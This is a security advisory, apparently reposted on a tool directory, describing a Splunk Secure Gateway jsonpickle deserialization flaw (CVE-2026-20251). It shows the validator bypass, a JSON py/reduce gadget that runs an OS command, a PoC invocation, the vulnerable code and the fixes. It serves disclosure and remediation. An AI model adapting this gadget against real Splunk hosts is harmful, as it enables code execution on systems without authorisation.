Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-20251 — CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research | Kitploit
Tools/GitHubGitHub/reactivezero/cve-2026-20251
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationPayload Development
GitHubreactivezero/cve-2026-20251

CVE-2026-20251

CVE-2026-20251 — Splunk Secure Gateway jsonpickle deserialization RCE (CVSS 8.8) | ReactiveZero Security Research

View Repository
31 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-20251 — Splunk Secure Gateway jsonpickle Deserialization RCE

Researcher: Fady Oueslati · ReactiveZero Security Research
Reference: 2026FO-SPLUNK-20251
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Status: Open — patch available


Summary

A low-privileged authenticated user can achieve remote code execution on a Splunk host by storing a crafted document in the KV Store (mobile_alerts collection). Splunk Secure Gateway (SSG) later reads that document and passes it directly to jsonpickle.decode(), reconstructing arbitrary Python objects — including ones that execute OS commands.

The call sets safe=True, but this flag only gates the legacy py/repr eval path. The py/reduce, py/object, py/type, py/function, and py/module tags are unaffected and fully exploitable.

A separate validator (check_alert_data_valid_json) is intended to block dangerous tags but short-circuits on the first recognised key: any document whose first top-level key is a permitted py/object (value starting with spacebridgeapp) returns True immediately, leaving sibling keys — including a malicious py/reduce gadget — completely uninspected.


Affected Versions

BranchFixed in
Splunk Secure Gateway 3.9.x3.9.20
Splunk Secure Gateway 3.10.x3.10.6
Splunk Secure Gateway 3.8.x

Tested instance: SSG 3.9.19 on Splunk Enterprise 10.0.6 (macOS x86_64).


Attack Chain

root@kitploit:~
Step 0  Low-privilege attacker writes a crafted bypass document to the
        'mobile_alerts' KV Store collection via the Splunk REST API.
        No admin or power role required.

Step 1  SSG processes an alert fetch request.
        alerts_request_processor.py reads the document and passes it to
        check_alert_data_valid_json().

        → Validator sees "py/object": "spacebridgeapp..." as the FIRST key,
          returns True, and never inspects the "notification" sibling that
          carries the py/reduce gadget.

Step 2  The (now validated) document is passed to
        jsonpickle.decode(..., safe=True).
        jsonpickle loadclass()es the lure Alert object, instantiates it,
        then iterates its stored attributes. When it reaches the
        "notification" value, _restore_reduce() fires:

            stage1 = f(*args)     # unpickler.py ~line 526

        safe=True has no effect on this code path.

Outcome  Arbitrary code execution as the Splunk service account.
         Requires only a valid low-privilege Splunk login.

Bypass Document Structure

root@kitploit:~
{
  "py/object": "spacebridgeapp.data.alert_data.Alert",
  "notification": {
    "py/reduce": [
      {"py/function": "subprocess.check_output"},
      {"py/tuple": [["uname", "-a"]]}
    ]
  }
}

The validator examines py/object first (permitted), returns True, and never reaches notification.


Proof of Concept

poc_cve_2026_20251.py demonstrates the two conditions that constitute the full exploit chain:

The payload is deliberately benign (read-only uname -a). This is not a weaponised exploit.

Requirements

  • Python 3
  • Access to the SSG bundled jsonpickle (loaded from /Applications/Splunk/etc/apps/splunk_secure_gateway/lib)
  • A local, authorised Splunk research instance

Usage

root@kitploit:~
python3 poc_cve_2026_20251.py -h 127.0.0.1

Do not run against production systems or any system you do not own and have explicit written authorisation to test.


Root Cause

File: bin/spacebridgeapp/request/alerts_request_processor.py

root@kitploit:~
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
    raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True)   # ← sink

File: bin/spacebridgeapp/rest/devices/alert_helper.py

root@kitploit:~
# Validator short-circuits on the first 'py'-prefixed key:
for key, value in data.items():
    if key.startswith("py"):
        if key == "py/id":
            return value.isinstance(int)
        elif key == "py/object":
            return value.startswith("spacebridgeapp")  # ← returns immediately
        else:
            return False
    # ... sibling keys are never reached

Remediation

Primary: Upgrade Splunk Secure Gateway to a fixed version (3.9.20+, 3.10.6+, or 3.8.67+) and Splunk Enterprise to 10.0.7+ / 10.2.4+ / 10.4.0+.

Short-term mitigations (if patching is not immediately possible):

  • Disable the Splunk Secure Gateway app if it is not in active use
  • Restrict KV Store write access: enforce least-privilege roles and review collection-level ACLs on mobile_alerts

Defensive engineering pattern: Never reconstruct arbitrary types from externally-influenced stored data. Replace jsonpickle.decode() on attacker-reachable input with a strict, schema-validated parser or supply an explicit classes= allow-list to decode(). Ensure validation routines fully traverse nested structures rather than short-circuiting on the first recognised key.


Note on CVE-2026-20253

The same advisory batch includes CVE-2026-20253 (CVSS 9.8, unauthenticated arbitrary file creation via a PostgreSQL sidecar endpoint). This vulnerability was not present on the tested macOS x86_64 build of Splunk Enterprise 10.0.6: the PostgreSQL sidecar component is not shipped on this platform, no sidecar binaries or processes exist, and no corresponding port was observed.

This illustrates an important assurance principle: an affected version string is a necessary but not sufficient condition for exploitability. Component-level verification materially changes the real risk picture.


Engagement Details

FieldValue
Engagement ref2026FO-SPLUNK-20251
Test typeWhite-Box Vulnerability Verification (Static Code Analysis)

ReactiveZero Security Research

Download Tool
3.8.67
Splunk Enterprise10.0.7 / 10.2.4 / 10.4.0+
Sub-proof
What it shows
A — Validator bypasscheck_alert_data_valid_json() returns True for the bypass document, never inspecting the py/reduce gadget in the sibling value
B — py/reduce executionjsonpickle.decode(..., safe=True) executes subprocess.check_output(['uname', '-a']), proving safe=True does not gate this code path
DateJune 26, 2026
ScopeLocal Splunk Enterprise 10.0.6 research instance (127.0.0.1:8089)
ClassificationConfidential